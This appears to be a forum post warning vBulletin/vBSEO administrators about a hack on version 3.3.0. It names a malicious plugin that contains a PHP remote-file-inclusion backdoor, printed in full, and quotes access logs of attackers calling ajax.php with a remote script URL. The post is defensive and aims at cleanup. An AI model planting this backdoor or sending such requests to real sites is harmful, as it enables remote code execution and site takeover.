update vbseo OR delete, your choice, ive mostly seen this hack on 3.3.0, but some other versions may be vulnerable, go to admincp in vb and go to plugins (not add/remove) and look for one named //// delete it (contents; Echo('<?php include($_GET["alfo"])?>')
// example logs
94.121.10.8 - - [13/Sep/2009:21:10:53 +0000] "GET /forums/ajax.php?alfo=
http://cwkodx.by*****arsiv/r.txt? HTTP/1.1" 403 380 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3"
94.121.10.8 - - [13/Sep/2009:21:11:02 +0000] "GET /forums/ajax.php?alfo=
http://cwkodx.by*****arsiv/r.txt? HTTP/1.1" 403 380 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3"
94.121.10.8 - - [13/Sep/2009:21:11:02 +0000] "GET /forums/ajax.php?alfo=
http://cwkodx.by*****arsiv/r.txt? HTTP/1.1" 403 380 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3"
88.224.253.118 - - [13/Sep/2009:21:11:17 +0000] "GET /forums/ajax.php?alfo=
http://cwkodx.by*****arsiv/r.txt? HTTP/1.1" 403 380 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3"
88.224.253.118 - - [13/Sep/2009:21:12:09 +0000] "GET /forums/ajax.php?alfo=
http://cwkodx.by*****arsiv/r.txt? HTTP/1.1" 403 380 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3"
Some clients of mine got hacked that's how i saw it.